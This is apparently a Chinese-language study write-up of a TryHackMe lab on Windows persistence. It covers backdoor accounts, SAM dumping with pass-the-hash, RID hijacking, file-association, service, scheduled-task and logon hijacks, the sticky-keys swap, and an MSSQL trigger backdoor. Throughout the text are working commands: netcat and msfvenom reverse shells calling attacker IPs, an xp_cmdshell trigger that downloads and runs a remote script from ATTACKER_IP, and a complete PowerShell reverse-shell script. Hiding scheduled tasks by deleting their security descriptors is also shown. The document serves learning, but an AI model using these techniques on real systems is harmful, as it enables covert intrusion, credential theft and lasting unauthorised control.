Windows权限维持

篡改非特权账户

分配组成员资格

​ 在这部分任务中,我们假设的前提是:攻击者已经转储了受害者机器的hash,并成功破解了所使用的非特权账户的密码

使得非特权用户能获得管理权限的最直接的方法就是:使其成为Administrators组的一部分

命令如下:

1
net localgroup administrators thmuser0 /add

image-20241225100807560

这将允许我们使用RDP、WinRM或者其他任何可用的远程管理服务,来访问服务器

为了降低可疑程度,可用Backup Operators组

此组中的用户将没有管理权限,但是可用读取、写入系统上的任何文件或注册表项,并且忽略任何已配置的DACL。这样我们就可以复制SAM和SYSTEM注册表配置单元的内容,然后恢复所有用户的密码hash,从而使得我们能升到Administrator

在此之前首先我们要将账户添加到Backup Operators组

1
C:\> net localgroup "Backup Operators" thmuser1 /add

由于这是一个非特权帐户,因此除非我们将其添加到远程桌面用户 (RDP) 或远程管理用户 (WinRM) 组,否则它无法通过 RDP 或 WinRM 返回计算机。我们将使用 WinRM 完成此任务

1
C:\> net localgroup "Remote Management Users" thmuser1 /add

我们假设我们已经在服务器上转储了凭据,并且拥有 thmuser1 的密码。让我们使用 WinRM 的凭据通过 WinRM 进行连接

image-20241225102452729

1
evil-winrm -i 10.10.143.188 -u thmuser1 -p Password321

image-20241225103546917

查看组成员

image-20241225103709468

虽然我们是Backup Operators的一部分,但该组已被禁用了

这是用户账户控制造成的(UAC)

UAC实现的功能之一是LocalAccountTokenFilterPolicy,这使得在远程登录的时候会剥夺任何本地账户的管理权限

虽然我们可用图形用户会话通过UAC提权,但如果用的是WInRM,我们就只能用没有管理权限的有限访问令牌

为了重新获得管理权限,我们通过更改注册表项来禁用LocalAccountTokenFilterPolicy

1
C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

image-20241225110133983

这样我们就可用使用我们的后门用户了

1
evil-winrm -i 10.10.143.188 -u thmuser1 -p Password321

image-20241225110511779

于是我们可以备份SAM和SYSTEM文件,并把它们下载到我们的攻击机上

1
2
3
4
reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bak

image-20241225110954124

然后就可以用工具转储所有用户密码的hash了

1
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

image-20241225111046519

然后执行Pass-the-Hash连接到Administrator账户

1
evil-winrm -i 10.10.143.188 -u Administrator -H f3118544a831e728781d780cfdb9c1fa

然后执行flag1.exe即可

image-20241225112303266

特殊权限和安全描述符

​ 和将用户添加到Backup Operators组类似的结果,可以在不修改任何组成员身份的情况下实现

特殊组被称为特殊组的原因是:操作系统默认为它们分配了特定的权限。权限只是在系统本身上执行任务的一种能力,包括一些简单的事情,比如获得文件所有权、关闭服务器

对于Backup Operators组,默认情况下会分配两个权限

  • SeBackupPrivilege 的用户可以读取系统中的任何文件,而忽略任何现有的 DACL。
  • SeRestorePrivilege 的用户可以在系统中写入任何文件,而忽略任何现有的 DACL。

前面我们说了,权限只是在系统本身上执行任务的一种能力

那么我们就可以将这种能力交给其他用户,从而使其不受组成员身份的影响

可以使用命令,将当前配置导出到一个临时文件:

1
secedit /export /cfg config.inf

然后输入config.inf打开

image-20241225120234867

然后往里面添加我们的用户

image-20241225120614158

保存后,将.inf文件转换成.sdb文件,然后把该文件配置重新加载回系统

1
2
3
secedit /import /cfg config.inf /db config.sdb

secedit /configure /db config.sdb /cfg config.inf

image-20241225120904738

现在我们拥有了一个和Backup操作员具有相同权限的用户thmuser2。

然而该用户仍然无法通过WinRM登录系统,因此我们接下来还需要更改与WinRM服务关联的安全描述符,以允许thmuser2连接。

我们将安全描述符视为ACL*(Access Control List,访问控制列表)*,应用于其他系统工具

要打开WinRM安全描述符的配置窗口,可以在Powershell中使用以下命令

1
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

接着会弹窗,我们需要添加thmuser2用户,并为其分配WinRM连接的权限

image-20241225121427245

完成操作后,thmuser就可以通过WinRM进行连接了。由于用户具有SeBackup和SeRestore的权限,我们可以重复上一个小任务点的方法继续获取权限

请注意,要使此用户完全使用给定的权限,必须更改 LocalAccountTokenFilterPolicy 注册表项,但我们已经这样做以获取上一个flag

image-20241225121816915

RID劫持

还有一种无需管理员身份,即可获取管理员权限的办法是:更改某些注册表值,使操作系统认为我们是管理员

创建用户的时候,会为其分配一个名为Relative ID (RID) 的标识符。RID 只是一个数字标识符,表示整个系统中的用户

用户登陆时,LSASS进程从SAM注册表配置单元中获取用户的RID,并创建与该RID相关联的访问令牌,如果我们可以篡改注册表值,就能将同一个RID关联到两个账户,使得Windows将管理员访问令牌分配给非特权用户

在任何Windows系统当中,默认管理员账户的 RID = 500,普通用户的RID通常为>=1000

通过以下命令查找为任何用户分配的RID

1
wmic useraccount get name,sid

image-20241225122326371

RID 是 SID 的最后一位(thmuser3 为 1010,管理员为 500)。SID 是一个标识符,它允许操作系统跨域识别用户,但对于此任务,我们不会过多考虑它的其余部分

现在我们只需要将 RID=500 分配给 thmuser3。为此,我们需要使用 Regedit 访问 SAM。SAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要以 SYSTEM 方式运行 Regedit,我们将使用 psexec,它在您的机器上可用:C:\tools\pstools

1
PsExec64.exe -i -s regedit

image-20241225124109467

从 Regedit,我们将转到计算机中每个用户都有一个密钥的位置。由于我们想要修改 thmuser3,因此我们需要搜索一个 RID(十六进制 (1010 = 0x3F2)的密钥。在相应的 key 下,将有一个名为 F 的值,该值保存位置 0x30 处的用户有效 RID:HKLM\SAM\SAM\Domains\Account\Users\

现在,我们将这两个字节替换成十六进制的Administrator RID(500 = 0x01F4),并切换字节 (F401)

image-20241225124237975

当我们用thmuser3登录时,LSASS会将其与管理员相同的RID相关联,并且赋予他们同等的权限

用RDP连接拿flag

后门文件

这个学web基本都知道咋回事,就不细述了,记录一个自己没看过的

劫持文件关联

除了通过可执行文件或快捷方式进行权限维持外,我们还可以劫持文件关联,以此来强制操作系统在用户打开特定文件类型时,运行我们的shell

默认操作系统文件关联保存在注册表中,并且存储了每种文件类型的键

假如我们想检查哪个程序用于打开.txt文件,我们只需要检查子密钥,并查找与之关联的Programmatic ID(ProgID),ProgID就是系统上安装的程序的标识符。

对于.txt文件,我们将具有以下ProgID

1
HKLM\Software\Classes\.txt

image-20241226135132045

接下来我们可以搜索相应的ProgID的子项

大多数ProgID条目都有一个子项,在该子项下指定要为具有该扩展名的文件运行的默认命令是:

1
HKLM\Software\Classes\txtfileshell\open\command

image-20241226135632361

我们可以劫持这个扩展,将命令替换为执行后门,然后保存

这样当目标使用扩展的时候,就会自动执行我们的后门文件

接下来我们先创建一个psl脚本

1
2
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.10.29.57 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]

然后将其保存到%SystemRoot%\system32\NOTEPAD.EXE %1%1C:\Windows\backdoor2.ps1

请注意,在 Powershell 中,我们必须传递给记事本,因为它将包含要打开的文件的名称,如 .$args[0]``%1

1
powershell.exe -WindowStyle hidden backdoor.ps1 %1

image-20241226141553184

然后在攻击机上起一个nc监听端口,运行txt文本来触发后门

实测能弹powershell,然而后门运行有点慢

滥用服务

服务基本上是在后台运行的可执文件

这就为我们提供了一种权限维持的好方法,如果我们可以利用服务运行我们的后门,那么我们就可以在每次启动受害者的计算机时,重新获得对它的控制权

滥用服务来维权主要是通过以下两种手段:

  1. 创建新服务
  2. 修改现有服务

创建后门服务

我们可以用以下命令创建并启动一个THMservice服务

1
2
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice

等号后必须要有空格,命令才能正常工作

image-20241226143628361

当启动这个服务时,将执行net user命令,将管理员的密码重置为passwd123

我们将服务设置为自启动 (start= auto),这样就能在不与用户交互的情况下运行

我们也可以用msfvenom创建一个反弹shell的可执行文件,并将其与创建的服务相关联

1
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.29.57 LPORT=4448 -f exe-service -o rev-svc.exe

然后将生成的rev-svc.exe复制到目标系统

image-20241226145730032

然后将binPath指向C:\Windows

1
2
sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2

攻击机上监听端口就能收到反弹回来的shell

修改现有服务

创建新服务固然是好选择,但是在真正的攻防当中,蓝队可能会检测网络中的新服务创建

通常来说,任何已禁用的服务都是一个不错的目标,因为用户不一定能注意得到这些被禁用的服务的修改

使用以下命令获取可用服务列表

1
sc.exe query state=all

找到一个THMService3,它已停止服务

查询服务配置

1
sc.exe qc THMService3

image-20241226151321949

在维持权限时,我们需要关心三件事

  • 可执行文件(BINARY_PATH_NAME)应指向我们的payload
  • 服务的START_TYPE应该是自动的,这样我们就能使得payload能在没有用户交互的情况下运行
  • SERVICE_START_NAME(服务运行下的账户)最好设置为LocalSystem,以获取SYSTEM权限

用msfvenom生成exe的步骤还是一样,只不过我们要重新配置THMservice3的参数

1
C:\> sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"

可以注意到我们将start设置为了auto

obj设置为了LocalSystem,这里的obj参数全称是ObjectName,用于指定服务运行所使用的账户

然后binPath指向我们的可执行文件

其实还挺简单的,只不过操作上面还是不熟练

滥用计划任务

在先前的提权部分我们就用过计划任务,其实在权限维持中也是能用的

计划任务程序

最常见的计划任务利用就是使用内置的Windows计划任务程序(schtasks)

我们可以创建一个每分钟运行一次反弹shell命令的任务

1
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe 10.10.29.57 4449" /ru SYSTEM

但在真实的攻击场景下,这样频繁的操作极有可能暴露自身,在THM中这样设置只是因为我们不想等太久罢了

image-20241226153449457

然后在我们的攻击机上监听端口,接收shell

image-20241226153525686

前面的命令将创建一个 “THM-TaskBackdoor” 任务,并执行一个反向 shell 返回给攻击者。和 选项指示任务应每分钟运行一次。该选项指示任务将使用 SYSTEM 权限运行

若不确定自己的任务是否已成功创建,可以用下面的命令来查看

1
schtasks /query /tn thm-taskbackdoor

image-20241226153710022

隐藏计划任务

成功用计划任务拿到权限后,如果我们没有及时隐藏自己的行踪,就可能会在受害者列出计划任务的时候暴露

为了计划任务的隐蔽性,我们可以删除其安全描述符**(SD)**,使其对系统中的任何用户都不可见。

安全描述符只是一个ACL,用于说明哪些用户有权限访问计划任务

如果我们的用户不允许查询计划任务,我们就看不到对应的计划任务,因为Windows仅显示我们有权限使用的任务

删除SD,等同于禁止所有用户(包括管理员)访问计划任务

所有计划任务的安全描述符都存储在注册表中,每个任务的注册表项中名为“SD”的值包含安全描述符。

只有当我们拥有SYSTEM权限时,我们才能擦除该值

在隐藏前,再确认一遍我们的计划任务

image-20241226161313679

然后用SYSTEM权限打开注册表

1
c:\tools\pstools\PsExec64.exe -s -i regedit

image-20241226161634519

删除SD值

再查询这个服务,系统会告诉我们没有这个服务

image-20241226181150073

登录触发维权

用户执行的某些操作也可能绑定上payload

比如登录系统

启动文件夹

每个用户都有自己的一个文件夹,可以在这个文件夹下放置我们希望用户登陆时运行的可执行文件

不过,每个用户仅运行其文件夹中的可用内容

路径为

1
C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

把your_username替换成目标的用户名就行

如果我们想强制所有用户在登陆时运行我们的payload,我们可以在下面这个文件夹中用相同的方法

1
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

我们先用msfvenom生成反弹shell的payload

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe

然后将payload复制到目标计算机当中,当然可以在目标主机上使用python3启动web服务,利用wget来拉取我们的payload

复制成功后,将payload存到目标文件夹下,达到无论谁登录系统,都会触发反弹shell的payload的目的

1
copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

注意,文件记得把完整路径搞上,不然识别不到

image-20241226182737825

然后注销我们的会话

重新登录RDP,攻击机监听4450,发现接收到shell

image-20241226182923722

Run /RunOnce

我们还可以强制用户在登陆时通过注册表执行程序

可以使用以下注册表项指定登录时自启动的应用程序

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKCU注册表项应用于所有人,而HKLM只适用于当前用户

开始之前依旧是生成一个exe

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.84.168 LPORT=4451 -f exe -o revshell.exe

传输到目标主机上后,再将其移动到C:\Windows\

1
move C:\Users\Administrator\Desktop\revshell.exe C:\windows

然后我们在

1
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

下创建一个注册表项,条目名称随便,值是我们要执行的命令

这里要执行我们的revshell.exe,所以直接写对应路径C:\windows\revshell.exe

image-20241227091147527

完成操作后,注销再登录就能收到shell了

image-20241227091348561

Winlogon

登录自启动程序的另一个替代就是滥用Winlogon

Winlogon是windows组件,可以在身份验证后立即加载您的用户配置文件

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

这是Winlogon的注册表路径

image-20241228182621112

  • Userinit指向 ,它负责恢复您的用户配置文件首选项。userinit.exe
  • shell指向系统的 shell,通常为 .explorer.exe

我们可以用反弹shell文件替换这些可执行文件,不过,我们还可以用逗号分隔,使得Winlogon连同我们的反弹shell文件一起处理

像这样

image-20241228185031031

然后注销重新登录,就能收到shell了

登录脚本

加载用户配置文件时,有一项操作是检查一项叫做UserInitMprLogonScript的环境变量

我们可以利用这个环境变量为用户指定一个登录脚本,用户在登录计算机时,该脚本会运行

此变量默认是未设置的,因此我们可以直接创建它,并用它指定我们想要的脚本

image-20241228185705053

对登录屏幕/RDP进行后门植入

这部分就粘滞键是新东西,需要注意的一点是,之前提权的一部分内容还是能拿来做权限维持的,比如这一个任务7中的Ultiman,在前面我们通过这玩意篡改Ease of Access,同样的也能拿来触发后门提权

出于学习效率考虑,这里就不多赘述

粘滞键

当按下诸如 “Ctrl + Alt + Del” 这样的组合键时,你可以在 Windows 系统中设置启用粘滞键功能。

启用粘滞键后,你可以按顺序逐个按下组合键中的按键,而无需同时按下。

也就是说,如果你启用了粘滞键,你就可以先按Ctrl,再依次Alt、Del,就能达到同时按下 “Ctrl + Alt + Del” 组合键相同的效果

打游戏的哥们会经常碰到这个东西

image-20241228190633611

Windows的默认快捷方式,按五次SHIFT会弹出这个窗口

其实Windows是激活了 C:\Windows\System32\sethc.exe 路径下的二进制文件,如果我们能将这个二进制文件替换成我们的payload,就能实现提权(因为Windows在锁屏时依然能通过五次SHIFT触发这个文件)

不过,想要修改这个文件,我们首先需要获得文件的所有权,并授予当前用户修改它的权限

我们可以用命令做到这点

1
2
3
takeown /f c:\Windows\System32\sethc.exe #获得文件所有权
icacls C:\Windows\System32\sethc.exe /grant Administrator:F #赋予修改权限
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe #将cmd.exe替换sethc.exe

image-20241228191325531

接下来锁定屏幕,尝试调出CMD

image-20241228191615428

得手了!

通过现有服务维持权限

之前的这些操作的前提都是:我们已经可以在目标windows主机上为所欲为了

但有的时候我们没办法直接操纵目标的主机,不过我们能操纵服务,比如web服务、数据库服务

这个时候我们就可以从这些服务入手

由于webshell这个是老生常谈了,这里不过多赘述,主要讲一个数据库的东西

使用MSSQL作为后门

MSSQL有一个东西叫做触发器(Trigger),触发器可以绑定在数据库中发生特定事件时,需要执行的操作

这些事件可以是增删查改,应用范围很广

在这个任务点当中,我们要对数据库HRDB当中的任何插入操作创建一个触发器

在开始之前,我们需要启用存储过程xp_cmdshell

这是MSSQL安装中默认提供的一个过程,允许我们直接在系统控制台中执行命令,但是默认是禁用的

首先用管理员身份打开

image-20241228193242194

然后打开查询编辑器

image-20241228193313052

接着输入:

1
2
3
4
5
6
7
sp_configure 'Show Advanced Options',1; #在数据库中启用高级选项
RECONFIGURE; #更新设置后的配置
GO #把前面的SQL语句作为一个批次发送到SQL Server执行

sp_configure 'xp_cmdshell',1; #启用xp_cmdshell
RECONFIGURE;
GO

image-20241228194016530

在此之后,我们必须确保任何访问该数据库的网站都能运行xp_cmdshell

默认情况下,只有具有sysadmin角色的数据库用户才能这样做。

鉴于预计 Web 应用程序会使用受限的数据库用户,我们可以授予所有用户模拟sa用户(默认数据库管理员)的权限。

1
2
3
4
5
6
7
8
9
10
11
12
USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

USE HRDB

CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';

然后在攻击机上创建

evilscript.psl,Powershell脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};

$client.Close()

这样我们向数据库发送INSERT语句触发Trigger的时候,就会远程下载powershell脚本,实现权限维持了